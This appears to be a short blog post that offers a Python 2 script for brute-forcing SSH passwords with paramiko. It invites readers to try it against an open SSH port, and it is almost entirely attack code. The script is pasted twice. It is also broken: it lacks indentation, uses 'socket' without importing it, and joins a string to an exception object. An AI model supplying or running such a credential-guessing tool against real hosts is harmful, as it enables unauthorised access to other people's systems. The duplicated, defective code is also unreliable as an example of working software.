This is the small Program for brute force the ssh open port host. Just Check it once and try it on your unix or windows operating system.....
#!/usr/bin/python
import paramiko
import itertools,string,crypt
PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "username"
SSHPORT=22
open_file=open("passwords.txt","r")
var=open_file.read().split("\n")
try:
for passwd in var:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd)
print "Connected successfully. Password = "+passwd
break
except paramiko.AuthenticationException, error:
print "Incorrect password: "+passwd
continue
except socket.error, error:
print error
continue
except paramiko.SSHException, error:
print error
print "Most probably this is caused by a missing host key"
continue
except Exception, error:
print "Unknown error: "+error
continue
ssh.close()
except Exception,error :
print error
#!/usr/bin/python
import paramiko
import itertools,string,crypt
PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "username"
SSHPORT=22
open_file=open("passwords.txt","r")
var=open_file.read().split("\n")
try:
for passwd in var:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd)
print "Connected successfully. Password = "+passwd
break
except paramiko.AuthenticationException, error:
print "Incorrect password: "+passwd
continue
except socket.error, error:
print error
continue
except paramiko.SSHException, error:
print error
print "Most probably this is caused by a missing host key"
continue
except Exception, error:
print "Unknown error: "+error
continue
ssh.close()
except Exception,error :
print error
No comments:
Post a Comment